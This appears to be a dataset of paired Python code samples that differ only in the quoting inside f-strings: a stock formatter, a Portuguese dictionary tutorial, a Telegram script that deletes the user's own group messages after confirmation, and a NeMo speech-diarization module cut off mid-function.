""" Data manipulation routines """ def format_stock(stock): """ Formats stock in required formatting """ parsed_stock = { "symbol": stock['symbol'], "name": stock['name'], "price": f"{stock["price"]:.2f}", } return parsed_stock
""" Data manipulation routines """ def format_stock(stock): """ Formats stock in required formatting """ parsed_stock = { "symbol": stock['symbol'], "name": stock['name'], "price": f"{stock['price']:.2f}", } return parsed_stock
''' #Exemplo geral 1 #declaração de dicionário pessoas = {'nome': 'Gustavo', 'sexo': 'M', 'idade': 22} print(pessoas) #print(pessoas[0])#dá erro, pois não existe índice 0 print(pessoas['nome'])#mostra o conteúdo do índice/key nome print(pessoas['idade']) print(f'O {pessoas['nome']} tem {pessoas['idade']} anos') print(pessoas.keys()) print(pessoas.values()) print(pessoas.items()) for k in pessoas.keys(): print(k) for v in pessoas.values(): print(v) for k, v in pessoas.items(): print(f'{k} = {v}') del pessoas['sexo'] #deleta um item pessoas['nome'] = 'Leandro' #Muda o valor de um item pessoas['peso'] = 98.5 #Adiciona um item for k, v in pessoas.items(): print(f'{k} = {v}') ''' ''' #Exemplo geral 2 brasil = [] estado1 = {'uf': 'Rio de Janeiro', 'sigla': 'RJ'} estado2 = {'uf': 'São Paulo', 'sigla': 'SP'} brasil.append(estado1) brasil.append(estado2) print(estado1) print(estado2) print(brasil) print(brasil[0]) print(brasil[1]) print(brasil[0]['uf']) print(brasil[1]['sigla']) ''' #Exemplo geral 3 estado = dict() brasil = list() for c in range(0, 3): estado['uf'] = str(input('Unidade Federativa: ')) estado['sigla'] = str(input('Sigla do Estado: ')) brasil.append(estado.copy()) #print(brasil) ou ''' for e in brasil:#para lista for k, v in e.items(): #para o dicionário print(f'O campo {k} tem valor {v}.') ''' #ou for e in brasil:#para lista for v in e.values(): #para o dicionário print(v, end=' ') print()
''' #Exemplo geral 1 #declaração de dicionário pessoas = {'nome': 'Gustavo', 'sexo': 'M', 'idade': 22} print(pessoas) #print(pessoas[0])#dá erro, pois não existe índice 0 print(pessoas['nome'])#mostra o conteúdo do índice/key nome print(pessoas['idade']) print(f'O {pessoas["nome"]} tem {pessoas["idade"]} anos') print(pessoas.keys()) print(pessoas.values()) print(pessoas.items()) for k in pessoas.keys(): print(k) for v in pessoas.values(): print(v) for k, v in pessoas.items(): print(f'{k} = {v}') del pessoas['sexo'] #deleta um item pessoas['nome'] = 'Leandro' #Muda o valor de um item pessoas['peso'] = 98.5 #Adiciona um item for k, v in pessoas.items(): print(f'{k} = {v}') ''' ''' #Exemplo geral 2 brasil = [] estado1 = {'uf': 'Rio de Janeiro', 'sigla': 'RJ'} estado2 = {'uf': 'São Paulo', 'sigla': 'SP'} brasil.append(estado1) brasil.append(estado2) print(estado1) print(estado2) print(brasil) print(brasil[0]) print(brasil[1]) print(brasil[0]['uf']) print(brasil[1]['sigla']) ''' #Exemplo geral 3 estado = dict() brasil = list() for c in range(0, 3): estado['uf'] = str(input('Unidade Federativa: ')) estado['sigla'] = str(input('Sigla do Estado: ')) brasil.append(estado.copy()) #print(brasil) ou ''' for e in brasil:#para lista for k, v in e.items(): #para o dicionário print(f'O campo {k} tem valor {v}.') ''' #ou for e in brasil:#para lista for v in e.values(): #para o dicionário print(v, end=' ') print()
import logging import argparse import json from datetime import datetime from telegram.client import Telegram import utils logger = logging.getLogger(__name__) def confirm(message): sure = input(message + ' ') if sure.lower() not in ['y', 'yes']: exit(0) def dump_my_msgs(tg, chat_id): msg_id = 0 num_msgs = 0 num_my_msgs = 0 all_mine = [] last_timestamp = 0 while True: last_date = '' if last_timestamp == 0 else str(datetime.fromtimestamp(last_timestamp)) print(f'.. Fetching {num_my_msgs}/{num_msgs} msgs @{msg_id} {last_date}') r = tg.get_chat_history(chat_id, 1000, msg_id) r.wait() if not r.update['total_count']: break msgs = r.update['messages'] my_msgs = [m for m in msgs if m['sender_user_id'] == me] all_mine.extend(my_msgs) num_msgs += len(msgs) msg_id = msgs[-1]['id'] last_timestamp = msgs[-1]['date'] deletable_msg_ids = [m['id'] for m in all_mine if m['can_be_deleted_for_all_users']] print('msgs:', num_msgs) print('mine:', len(all_mine)) print('deletable:', len(deletable_msg_ids)) return all_mine, deletable_msg_ids def delete_messages(chat_id, message_ids): BATCH=20 num = len(message_ids) for i in range(0, num, BATCH): print(f'.. Deleting {i}-{i+BATCH-1} / {num}...') r = tg.delete_messages(chat_id, message_ids[i:i+BATCH], revoke=True) r.wait(raise_exc=True) if __name__ == '__main__': utils.setup_logging() parser = argparse.ArgumentParser() utils.add_api_args(parser) utils.add_proxy_args(parser) args = parser.parse_args() tg = Telegram( api_id=args.api_id, api_hash=args.api_hash, phone=args.phone, database_encryption_key='changeme1234', proxy_server=args.proxy_server, proxy_port=args.proxy_port, proxy_type=utils.parse_proxy_type(args) ) # you must call login method before others tg.login() # get me result = tg.get_me() result.wait() me = result.update['id'] print(result.update) # get chats result = tg.get_chats(9223372036854775807) # const 2^62-1: from the first result.wait() chats = result.update['chat_ids'] # get each chat print('Chat List') chat_map = {} for chat_id in chats: r = tg.get_chat(chat_id) r.wait() title = r.update['title'] print(' %20d\t%s' % (chat_id, title)) chat_map[chat_id] = r.update selected = int(input('Select a group to clear: ').strip()) chat_info = chat_map[selected] print(f'You selected: {selected} {json.dumps(chat_info, indent=2)}') print(f'Chat: {chat_info['title']}') confirm('Are you sure?') # dump all my messages directly all_mine, deletable_msg_ids = dump_my_msgs(tg, selected) confirm(f'Continue to delete all {len(deletable_msg_ids)}?') delete_messages(selected, deletable_msg_ids) # continue on basic group if it's a super group if chat_info['type']['@type'] == 'chatTypeSupergroup': supergroup_id = chat_info['type']['supergroup_id'] r = tg.get_supergroup_full_info(supergroup_id) r.wait() basic_group_id = r.update['upgraded_from_basic_group_id'] max_message_id = r.update['upgraded_from_max_message_id'] print(f'Found basic group: {basic_group_id} @ {max_message_id}') r = tg.create_basic_group_chat(basic_group_id) r.wait() basic_group_chat_id = r.update['id'] print(f'Basic group chat: {basic_group_chat_id}') all_mine, deletable_msg_ids = dump_my_msgs(tg, basic_group_chat_id) confirm(f'Continue to delete all {len(deletable_msg_ids)}?') delete_messages(basic_group_chat_id, deletable_msg_ids) print('Done') tg.stop()
import logging import argparse import json from datetime import datetime from telegram.client import Telegram import utils logger = logging.getLogger(__name__) def confirm(message): sure = input(message + ' ') if sure.lower() not in ['y', 'yes']: exit(0) def dump_my_msgs(tg, chat_id): msg_id = 0 num_msgs = 0 num_my_msgs = 0 all_mine = [] last_timestamp = 0 while True: last_date = '' if last_timestamp == 0 else str(datetime.fromtimestamp(last_timestamp)) print(f'.. Fetching {num_my_msgs}/{num_msgs} msgs @{msg_id} {last_date}') r = tg.get_chat_history(chat_id, 1000, msg_id) r.wait() if not r.update['total_count']: break msgs = r.update['messages'] my_msgs = [m for m in msgs if m['sender_user_id'] == me] all_mine.extend(my_msgs) num_msgs += len(msgs) msg_id = msgs[-1]['id'] last_timestamp = msgs[-1]['date'] deletable_msg_ids = [m['id'] for m in all_mine if m['can_be_deleted_for_all_users']] print('msgs:', num_msgs) print('mine:', len(all_mine)) print('deletable:', len(deletable_msg_ids)) return all_mine, deletable_msg_ids def delete_messages(chat_id, message_ids): BATCH=20 num = len(message_ids) for i in range(0, num, BATCH): print(f'.. Deleting {i}-{i+BATCH-1} / {num}...') r = tg.delete_messages(chat_id, message_ids[i:i+BATCH], revoke=True) r.wait(raise_exc=True) if __name__ == '__main__': utils.setup_logging() parser = argparse.ArgumentParser() utils.add_api_args(parser) utils.add_proxy_args(parser) args = parser.parse_args() tg = Telegram( api_id=args.api_id, api_hash=args.api_hash, phone=args.phone, database_encryption_key='changeme1234', proxy_server=args.proxy_server, proxy_port=args.proxy_port, proxy_type=utils.parse_proxy_type(args) ) # you must call login method before others tg.login() # get me result = tg.get_me() result.wait() me = result.update['id'] print(result.update) # get chats result = tg.get_chats(9223372036854775807) # const 2^62-1: from the first result.wait() chats = result.update['chat_ids'] # get each chat print('Chat List') chat_map = {} for chat_id in chats: r = tg.get_chat(chat_id) r.wait() title = r.update['title'] print(' %20d\t%s' % (chat_id, title)) chat_map[chat_id] = r.update selected = int(input('Select a group to clear: ').strip()) chat_info = chat_map[selected] print(f'You selected: {selected} {json.dumps(chat_info, indent=2)}') print(f'Chat: {chat_info["title"]}') confirm('Are you sure?') # dump all my messages directly all_mine, deletable_msg_ids = dump_my_msgs(tg, selected) confirm(f'Continue to delete all {len(deletable_msg_ids)}?') delete_messages(selected, deletable_msg_ids) # continue on basic group if it's a super group if chat_info['type']['@type'] == 'chatTypeSupergroup': supergroup_id = chat_info['type']['supergroup_id'] r = tg.get_supergroup_full_info(supergroup_id) r.wait() basic_group_id = r.update['upgraded_from_basic_group_id'] max_message_id = r.update['upgraded_from_max_message_id'] print(f'Found basic group: {basic_group_id} @ {max_message_id}') r = tg.create_basic_group_chat(basic_group_id) r.wait() basic_group_chat_id = r.update['id'] print(f'Basic group chat: {basic_group_chat_id}') all_mine, deletable_msg_ids = dump_my_msgs(tg, basic_group_chat_id) confirm(f'Continue to delete all {len(deletable_msg_ids)}?') delete_messages(basic_group_chat_id, deletable_msg_ids) print('Done') tg.stop()
# Copyright (c) 2021, NVIDIA CORPORATION. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import copy import csv import json import os from collections import OrderedDict as od from datetime import datetime from typing import Dict, List, Tuple import numpy as np from nemo.collections.asr.metrics.wer import word_error_rate from nemo.collections.asr.models import ClusteringDiarizer from nemo.collections.asr.parts.utils.speaker_utils import ( audio_rttm_map, get_uniqname_from_filepath, labels_to_rttmfile, rttm_to_labels, write_rttm2manifest, ) from nemo.utils import logging from nemo.utils.decorators.experimental import experimental try: import arpa ARPA = True except ImportError: ARPA = False try: import diff_match_patch DIFF_MATCH_PATCH = True except ImportError: DIFF_MATCH_PATCH = False __all__ = ['ASR_DIAR_OFFLINE'] def dump_json_to_file(file_path, riva_dict): """ Write a json file from the riva_dict dictionary. """ with open(file_path, "w") as outfile: json.dump(riva_dict, outfile, indent=4) def write_txt(w_path, val): """ Write a text file from the string input. """ with open(w_path, "w") as output: output.write(val + '\n') return None def get_diff_text(text1: List[str], text2: List[str]) -> List[Tuple[int, str]]: """ Take the alignment between two lists and get the difference """ orig_words = '\n'.join(text1.split()) + '\n' pred_words = '\n'.join(text2.split()) + '\n' diff = diff_match_patch.diff_match_patch() diff.Diff_Timeout = 0 orig_enc, pred_enc, enc = diff.diff_linesToChars(orig_words, pred_words) diffs = diff.diff_main(orig_enc, pred_enc, False) diff.diff_charsToLines(diffs, enc) return diffs def get_speaker_error_mismatch(ctm_error_dict, error_buffer, w_range_buffer, pred_rttm_eval): """ Calculate the diarization confuse error using the reference CTM file. """ correct_count, error_count, align_error = 0, 0, [] for k, _d in enumerate(error_buffer): if _d[0] == 1: stt, end = w_range_buffer[k] bool_list = [_bool for _bool in pred_rttm_eval[stt:end]] error_count = len(bool_list) - sum(bool_list) ctm_error_dict['diar_confuse_count'] += error_count def get_speaker_error_match(ctm_error_dict, w_range, ctm_info_list, pred_info_list, mapping_dict): """ Count the words with wrong speaker assignments. """ error_count, align_error_list = 0, [] for ref, prd in zip(range(w_range[0][0], w_range[0][1]), range(w_range[1][0], w_range[1][1])): ref_spk, ref_start, ref_end = ctm_info_list[ref] pred_spk, pred_start, pred_end = pred_info_list[prd] if pred_spk in mapping_dict: error_count += 1 if ref_spk != mapping_dict[pred_spk] else 0 else: error_count += 1 align_error_list.append(ref_start - pred_start) ctm_error_dict['diar_confuse_count'] += error_count return error_count, align_error_list class ASR_DIAR_OFFLINE(object): """ A Class designed for performing ASR and diarization together. """ def __init__(self, **cfg_diarizer): self.manifest_filepath = cfg_diarizer['manifest_filepath'] self.params = cfg_diarizer['asr']['parameters'] self.ctc_decoder_params = cfg_diarizer['asr']['ctc_decoder_parameters'] self.realigning_lm_params = cfg_diarizer['asr']['realigning_lm_parameters'] self.nonspeech_threshold = self.params['asr_based_vad_threshold'] self.fix_word_ts_with_VAD = self.params['fix_word_ts_with_VAD'] self.root_path = cfg_diarizer['out_dir'] self.vad_threshold_for_word_ts = 0.7 self.max_word_ts_length_in_sec = 0.6 self.cfg_diarizer = cfg_diarizer self.word_ts_anchor_offset = 0.0 self.run_ASR = None self.realigning_lm = None self.ctm_exists = {} self.frame_VAD = {} self.align_error_list = [] self.AUDIO_RTTM_MAP = audio_rttm_map(self.manifest_filepath) self.audio_file_list = [value['audio_filepath'] for _, value in self.AUDIO_RTTM_MAP.items()] self.color_palette = { 'speaker_0': '\033[1;32m', 'speaker_1': '\033[1;34m', 'speaker_2': '\033[1;30m', 'speaker_3': '\033[1;31m', 'speaker_4': '\033[1;35m', 'speaker_5': '\033[1;36m', 'speaker_6': '\033[1;37m', 'speaker_7': '\033[1;30m', 'speaker_8': '\033[1;33m', 'speaker_9': '\033[0;34m', 'white': '\033[0;37m', } def load_realigning_LM(self): self.N_range = ( self.realigning_lm_params['min_number_of_words'], self.realigning_lm_params['max_number_of_words'], ) self.stt_end_tokens = ['</s>', '<s>'] logging.info(f"Loading LM for realigning: {self.realigning_lm_params["arpa_language_model"]}") return arpa.loadf(self.realigning_lm_params['arpa_language_model'])[0] def save_VAD_labels_list(self, word_ts_dict): """ Take the non_speech labels from logit output. The logit output is obtained from run_ASR() function. Args: word_ts_dict (dict): List containing word timestamps. audio_file_list (list): List of audio file paths. """ self.VAD_RTTM_MAP = {} for idx, (uniq_id, word_timestamps) in enumerate(word_ts_dict.items()): speech_labels_float = self.get_speech_labels_from_decoded_prediction(word_timestamps) speech_labels = self.get_str_speech_labels(speech_labels_float) output_path = os.path.join(self.root_path, 'pred_rttms') if not os.path.exists(output_path): os.makedirs(output_path) filename = labels_to_rttmfile(speech_labels, uniq_id, output_path) self.VAD_RTTM_MAP[uniq_id] = {'audio_filepath': self.audio_file_list[idx], 'rttm_filepath': filename} def get_speech_labels_from_decoded_prediction(self, input_word_ts): """ Extract speech labels from the ASR output (decoded predictions) Args: input_word_ts (list): List containing word timestamps. Returns: word_ts (list): The ranges of the speech segments, which are merged ranges of input_word_ts. """ speech_labels = [] word_ts = copy.deepcopy(input_word_ts) if word_ts == []: return speech_labels else: count = len(word_ts) - 1 while count > 0: if len(word_ts) > 1: if word_ts[count][0] - word_ts[count - 1][1] <= self.nonspeech_threshold: trangeB = word_ts.pop(count) trangeA = word_ts.pop(count - 1) word_ts.insert(count - 1, [trangeA[0], trangeB[1]]) count -= 1 return word_ts def run_diarization( self, diar_model_config, word_timestamps, ): """ Launch the diarization process using the given VAD timestamp (oracle_manifest). Args: word_and_timestamps (list): List containing words and word timestamps Returns: diar_hyp (dict): A dictionary containing rttm results which are indexed by a unique ID. score Tuple[pyannote object, dict]: A tuple containing pyannote metric instance and mapping dictionary between speakers in hypotheses and speakers in reference RTTM files. """ if diar_model_config.diarizer.asr.parameters.asr_based_vad: self.save_VAD_labels_list(word_timestamps) oracle_manifest = os.path.join(self.root_path, 'asr_vad_manifest.json') oracle_manifest = write_rttm2manifest(self.VAD_RTTM_MAP, oracle_manifest) diar_model_config.diarizer.vad.model_path = None diar_model_config.diarizer.vad.external_vad_manifest = oracle_manifest diar_model = ClusteringDiarizer(cfg=diar_model_config) score = diar_model.diarize() if diar_model_config.diarizer.vad.model_path is not None and not diar_model_config.diarizer.oracle_vad: self.get_frame_level_VAD(vad_processing_dir=diar_model.vad_pred_dir) diar_hyp = {} for k, audio_file_path in enumerate(self.audio_file_list): uniq_id = get_uniqname_from_filepath(audio_file_path) pred_rttm = os.path.join(self.root_path, 'pred_rttms', uniq_id + '.rttm') diar_hyp[uniq_id] = rttm_to_labels(pred_rttm) return diar_hyp, score def get_frame_level_VAD(self, vad_processing_dir): """ Read frame-level VAD outputs. Args: oracle_model (ClusteringDiarizer): ClusteringDiarizer instance. audio_file_path (List): List containing file paths for audio files. """ for uniq_id in self.AUDIO_RTTM_MAP: frame_vad = os.path.join(vad_processing_dir, uniq_id + '.median') frame_vad_float_list = [] with open(frame_vad, 'r') as fp: for line in fp.readlines(): frame_vad_float_list.append(float(line.strip())) self.frame_VAD[uniq_id] = frame_vad_float_list def gather_eval_results(self, metric, mapping_dict, total_riva_dict): """ Gather diarization evaluation results from pyannote DiarizationErrorRate metric object. Inputs: metric (DiarizationErrorRate metric): DiarizationErrorRate metric pyannote object mapping_dict (dict): A dictionary containing speaker mapping labels for each audio file with key as unique name Returns: DER_result_dict (dict): A dictionary containing scores for each audio file along with aggregated results """ results = metric.results_ DER_result_dict = {} count_correct_spk_counting = 0 for result in results: key, score = result pred_rttm = os.path.join(self.root_path, 'pred_rttms', key + '.rttm') pred_labels = rttm_to_labels(pred_rttm) est_n_spk = self.get_num_of_spk_from_labels(pred_labels) ref_rttm = self.AUDIO_RTTM_MAP[key]['rttm_filepath'] ref_labels = rttm_to_labels(ref_rttm) ref_n_spk = self.get_num_of_spk_from_labels(ref_labels) if self.cfg_diarizer['oracle_vad']: score['missed detection'] = 0 score['false alarm'] = 0 _DER, _CER, _FA, _MISS = ( (score['confusion'] + score['false alarm'] + score['missed detection']) / score['total'], score['confusion'] / score['total'], score['false alarm'] / score['total'], score['missed detection'] / score['total'], ) DER_result_dict[key] = { "DER": round(_DER, 4), "CER": round(_CER, 4), "FA": round(_FA, 4), "MISS": round(_MISS, 4), "est_n_spk": est_n_spk, "mapping": mapping_dict[key], "is_spk_count_correct": (est_n_spk == ref_n_spk), } count_correct_spk_counting += int(est_n_spk == ref_n_spk) DER, CER, FA, MISS = ( abs(metric), metric['confusion'] / metric['total'], metric['false alarm'] / metric['total'], metric['missed detection'] / metric['total'], ) DER_result_dict["total"] = { "DER": DER, "CER": CER, "FA": FA, "MISS": MISS, "spk_counting_acc": count_correct_spk_counting / len(metric.results_), } return DER_result_dict def get_the_closest_silence_start(self, vad_index_word_end, vad_frames, params, offset=10): """ Find the closest silence frame from the given starting position. Args: vad_index_word_end (float): The timestamp of the end of the current word. vad_frames (numpy.array): The numpy array containing frame-level VAD probability. params (dict): Contains the parameters for diarization and ASR decoding. Returns: c (float): A timestamp of the earliest start of a silence region from the given time point, vad_index_word_end. """ c = vad_index_word_end + offset limit = int(100 * self.max_word_ts_length_in_sec + vad_index_word_end) while c < len(vad_frames): if vad_frames[c] < self.vad_threshold_for_word_ts: break else: c += 1 if c > limit: break c = min(len(vad_frames) - 1, c) c = round(c / 100.0, 2) return c def compensate_word_ts_list(self, audio_file_list, word_ts_dict, params): """ Compensate the word timestamps based on the VAD output. The length of each word is capped by self.max_word_ts_length_in_sec. Args: audio_file_list (list): List containing audio file paths. word_ts_dict (dict): Contains word_ts_stt_end lists. word_ts_stt_end = [stt, end] stt: Start of the word in sec. end: End of the word in sec. params (dict): The parameter dictionary for diarization and ASR decoding. Returns: enhanced_word_ts_dict (list): List of the enhanced word timestamp values. """ enhanced_word_ts_dict = {} for idx, (uniq_id, word_ts_seq_list) in enumerate(word_ts_dict.items()): N = len(word_ts_seq_list) enhanced_word_ts_buffer = [] for k, word_ts in enumerate(word_ts_seq_list): if k < N - 1: word_len = round(word_ts[1] - word_ts[0], 2) len_to_next_word = round(word_ts_seq_list[k + 1][0] - word_ts[0] - 0.01, 2) if uniq_id in self.frame_VAD: vad_index_word_end = int(100 * word_ts[1]) closest_sil_stt = self.get_the_closest_silence_start( vad_index_word_end, self.frame_VAD[uniq_id], params ) vad_est_len = round(closest_sil_stt - word_ts[0], 2) else: vad_est_len = len_to_next_word min_candidate = min(vad_est_len, len_to_next_word) fixed_word_len = max(min(self.max_word_ts_length_in_sec, min_candidate), word_len) enhanced_word_ts_buffer.append([word_ts[0], word_ts[0] + fixed_word_len]) else: enhanced_word_ts_buffer.append([word_ts[0], word_ts[1]]) enhanced_word_ts_dict[uniq_id] = enhanced_word_ts_buffer return enhanced_word_ts_dict def get_transcript_with_speaker_labels(self, diar_hyp, word_hyp, word_ts_hyp): """ Match the diarization result with the ASR output. The words and the timestamps for the corresponding words are matched in a for loop. Args: diar_labels (list): List of the Diarization output labels in str. word_list (list): List of words from ASR inference. word_ts_list (list): List Containing word_ts_stt_end lists. word_ts_stt_end = [stt, end] stt: Start of the word in sec. end: End of the word in sec. Returns: total_riva_dict (dict): A dictionary containing word timestamps, speaker labels and words. """ total_riva_dict = {} if self.fix_word_ts_with_VAD: if self.frame_VAD == {}: logging.info( f"VAD timestamps are not provided. Fixing word timestamps without VAD. Please check the hydra configurations." ) word_ts_refined = self.compensate_word_ts_list(self.audio_file_list, word_ts_hyp, self.params) else: word_ts_refined = word_ts_hyp if self.realigning_lm_params['arpa_language_model']: if not ARPA: raise ImportError( 'LM for realigning is provided but arpa is not installed. Install arpa using PyPI: pip install arpa' ) else: self.realigning_lm = self.load_realigning_LM() for k, audio_file_path in enumerate(self.audio_file_list): uniq_id = get_uniqname_from_filepath(audio_file_path) word_dict_seq_list = self.get_word_dict_seq_list(uniq_id, diar_hyp, word_hyp, word_ts_hyp, word_ts_refined) if self.realigning_lm: word_dict_seq_list = self.realign_words_with_lm(word_dict_seq_list) self.make_json_output(uniq_id, diar_hyp, word_dict_seq_list, total_riva_dict) logging.info(f"Diarization with ASR output files are saved in: {self.root_path}/pred_rttms") return total_riva_dict def get_word_dict_seq_list(self, uniq_id, diar_hyp, word_hyp, word_ts_hyp, word_ts_refined): """ Save the hypothesis words and speaker labels to a dictionary variable for future use. """ words, labels = word_hyp[uniq_id], diar_hyp[uniq_id] start_point, end_point, speaker = labels[0].split() word_pos, idx = 0, 0 word_dict_seq_list = [] for j, word_ts_stt_end in enumerate(word_ts_hyp[uniq_id]): word_pos = self.get_word_timestamp_anchor(word_ts_stt_end) if word_pos > float(end_point): idx += 1 idx = min(idx, len(labels) - 1) start_point, end_point, speaker = labels[idx].split() refined_word_ts_stt_end = word_ts_refined[uniq_id][j] stt_sec, end_sec = round(refined_word_ts_stt_end[0], 2), round(refined_word_ts_stt_end[1], 2) word_dict_seq_list.append( {'word': words[j], 'start_time': stt_sec, 'end_time': end_sec, 'speaker_label': speaker} ) return word_dict_seq_list def make_json_output(self, uniq_id, diar_hyp, word_dict_seq_list, total_riva_dict): """ Generate json output files and transcripts from the ASR and diarization results. Args: uniq_id (str): A unique ID (key) that identifies each input audio file. diar_hyp (list): The word sequence from ASR output. word_dict_seq_list (list): List containing words and corresponding word timestamps in dictionary format. Returns: total_riva_dict (dict): A dictionary containing overall results of diarization and ASR inference. """ word_seq_list, audacity_label_words = [], [] labels = diar_hyp[uniq_id] n_spk = self.get_num_of_spk_from_labels(labels) riva_dict = od( {'status': 'Success', 'session_id': uniq_id, 'transcription': '', 'speaker_count': n_spk, 'words': [],} ) gecko_dict = od({'schemaVersion': 2.0, 'monologues': []}) start_point, end_point, speaker = labels[0].split() string_out = self.print_time(speaker, start_point, end_point, self.params, previous_string='') prev_speaker = speaker terms_list = [] logging.info(f"Creating results for Session: {uniq_id} n_spk: {n_spk} ") for k, line_dict in enumerate(word_dict_seq_list): word, speaker = line_dict['word'], line_dict['speaker_label'] word_seq_list.append(word) start_point, end_point = line_dict['start_time'], line_dict['end_time'] if speaker != prev_speaker: if len(terms_list) != 0: gecko_dict['monologues'].append( {'speaker': {'name': None, 'id': prev_speaker}, 'terms': terms_list} ) terms_list = [] string_out = self.print_time(speaker, start_point, end_point, self.params, previous_string=string_out) else: string_out = self.print_time( speaker, start_point, end_point, self.params, previous_string=string_out, replace_time=True ) stt_sec, end_sec = round(start_point, 2), round(end_point, 2) terms_list.append({'start': stt_sec, 'end': end_sec, 'text': word, 'type': 'WORD'}) string_out = self.print_word(string_out, word, self.params) self.add_json_to_dict(riva_dict, word, stt_sec, end_sec, speaker) audacity_label_words.append(self.get_audacity_label(word, stt_sec, end_sec, speaker)) total_riva_dict[uniq_id] = riva_dict prev_speaker = speaker if self.params['break_lines']: string_out = self.break_lines(string_out) gecko_dict['monologues'].append({'speaker': {'name': None, 'id': speaker}, 'terms': terms_list}) riva_dict['transcription'] = ' '.join(word_seq_list) self.write_and_log(uniq_id, riva_dict, string_out, audacity_label_words, gecko_dict) return total_riva_dict def get_realignment_ranges(self, k, word_seq_len): """ Calculate word ranges for realignment operation. N1, N2 are calculated to not exceed the start and end of the input word sequence. """ if k < self.N_range[1]: N1 = max(k, self.N_range[0]) N2 = min(word_seq_len - k, self.N_range[1]) elif k > (word_seq_len - self.N_range[1]): N1 = min(k, self.N_range[1]) N2 = max(word_seq_len - k, self.N_range[0]) else: N1, N2 = self.N_range[1], self.N_range[1] return N1, N2 def get_word_timestamp_anchor(self, word_ts_stt_end: List[float]) -> float: """ Determine a reference point to match a word with the diarization results. word_ts_anchor_pos determines the position of a word in relation to the given diarization labels: - 'start' uses the beginning of the word - 'end' uses the end of the word - 'mid' uses the mean of start and end of the word word_ts_anchor_offset determines how much offset we want to add to the anchor position. It is recommended to use the default value. """ if self.params['word_ts_anchor_pos'] == 'start': word_pos = word_ts_stt_end[0] elif self.params['word_ts_anchor_pos'] == 'end': word_pos = word_ts_stt_end[1] elif self.params['word_ts_anchor_pos'] == 'mid': word_pos = (word_ts_stt_end[0] + word_ts_stt_end[1]) / 2 else: logging.info( f"word_ts_anchor_pos: {self.params["word_ts_anchor"]} is not a supported option. Using the default 'start' option." ) word_pos = word_ts_stt_end[0] word_pos = word_pos + self.word_ts_anchor_offset return word_pos @experimental def realign_words_with_lm(self, word_dict_seq_list: List[Dict[str, float]]): """ Realign the mapping between speaker labels and words using a language model. The realigning process calculates the probability of the around the words at the boundary between two hypothetical sentences spoken by different speakers. <Example> k-th word: "but" hyp_former: since i think like tuesday </s> <s> but he's coming back to albuquerque hyp_latter: since i think like tuesday but </s> <s> he's coming back to albuquerque The joint probabilities of words in the sentence are computed for these two hypotheses. In addition, logprob_diff_threshold parameter is used for reducing the false positive realigning. """ word_seq_len = len(word_dict_seq_list) hyp_w_dict_list, spk_list = [], [] for k, line_dict in enumerate(word_dict_seq_list): word, spk_label = line_dict['word'], line_dict['speaker_label'] hyp_w_dict_list.append(word) spk_list.append(spk_label) realigned_list = [] org_spk_list = copy.deepcopy(spk_list) for k, line_dict in enumerate(word_dict_seq_list): if self.N_range[0] < k < (word_seq_len - self.N_range[0]) and ( spk_list[k] != org_spk_list[k + 1] or spk_list[k] != org_spk_list[k - 1] ): N1, N2 = self.get_realignment_ranges(k, word_seq_len) hyp_former = self.realigning_lm.log_s( ' '.join(hyp_w_dict_list[k - N1 : k] + self.stt_end_tokens + hyp_w_dict_list[k : k + N2]) ) hyp_latter = self.realigning_lm.log_s( ' '.join(hyp_w_dict_list[k - N1 : k + 1] + self.stt_end_tokens + hyp_w_dict_list[k + 1 : k + N2]) ) log_p = [hyp_former, hyp_latter] p_order = np.argsort(log_p)[::-1] if log_p[p_order[0]] > log_p[p_order[1]] + self.realigning_lm_params['logprob_diff_threshold']: if p_order[0] == 0: spk_list[k] = org_spk_list[k + 1] line_dict['speaker_label'] = spk_list[k] realigned_list.append(line_dict) return realigned_list def get_alignment_errors(self, ctm_content, hyp_w_dict_list, mapping_dict): """ Compute various types of errors using the provided CTM file and RTTM file. The variables computed for CTM file based evaluation: error_count : Number of words that have wrong speaker labels align_error : (reference word timestamp - hypothesis word timestamp) The error metrics in ctm_error_dict variable: ref_word_count: The number of words in the reference transcript hyp_word_count: The number of words in the hypothesis diar_confuse_count: Number of incorrectly diarized words all_correct_count: Counts the word if both hypothesis word and speaker label are correct. hyp_based_wder: The number of incorrectly diarized words divided by the number of words in the hypothesis ref_based_wder: The number of incorrectly diarized words divided by the number of words in the reference transcript """ ctm_ref_word_seq, ctm_info_list = [], [] pred_word_seq, pred_info_list, pred_rttm_eval = [], [], [] for ctm_line in ctm_content: spl = ctm_line.split() ctm_ref_word_seq.append(spl[4]) ctm_info_list.append([spl[1], float(spl[2]), float(spl[3])]) for w_dict in hyp_w_dict_list: pred_rttm_eval.append(w_dict['diar_correct']) pred_word_seq.append(w_dict['word']) pred_info_list.append([w_dict['speaker_label'], w_dict['start_time'], w_dict['end_time']]) ctm_text = ' '.join(ctm_ref_word_seq) pred_text = ' '.join(pred_word_seq) diff = get_diff_text(ctm_text, pred_text) ref_word_count, hyp_word_count, all_correct_count, wder_count = 0, 0, 0, 0 ctm_error_dict = { 'ref_word_count': 0, 'hyp_word_count': 0, 'diar_confuse_count': 0, 'all_correct_count': 0, 'hyp_based_wder': 0, 'ref_based_wder': 0, } error_buffer, w_range_buffer, cumul_align_error = [], [], [] for k, d in enumerate(diff): word_seq = d[1].strip().split('\n') if d[0] == 0: if error_buffer != []: get_speaker_error_mismatch(ctm_error_dict, error_buffer, w_range_buffer, pred_rttm_eval) error_buffer, w_range_buffer = [], [] w_range = [ (ctm_error_dict['ref_word_count'], ctm_error_dict['ref_word_count'] + len(word_seq)), (ctm_error_dict['hyp_word_count'], ctm_error_dict['hyp_word_count'] + len(word_seq)), ] error_count, align_error = get_speaker_error_match( ctm_error_dict, w_range, ctm_info_list, pred_info_list, mapping_dict ) ctm_error_dict['all_correct_count'] += len(word_seq) - error_count ctm_error_dict['ref_word_count'] += len(word_seq) ctm_error_dict['hyp_word_count'] += len(word_seq) cumul_align_error += align_error elif d[0] == -1: error_buffer.append(d) w_range_buffer.append((ref_word_count, ref_word_count + len(word_seq))) ctm_error_dict['ref_word_count'] += len(word_seq) elif d[0] == 1: error_buffer.append(d) w_range_buffer.append((hyp_word_count, hyp_word_count + len(word_seq))) ctm_error_dict['hyp_word_count'] += len(word_seq) if error_buffer != []: 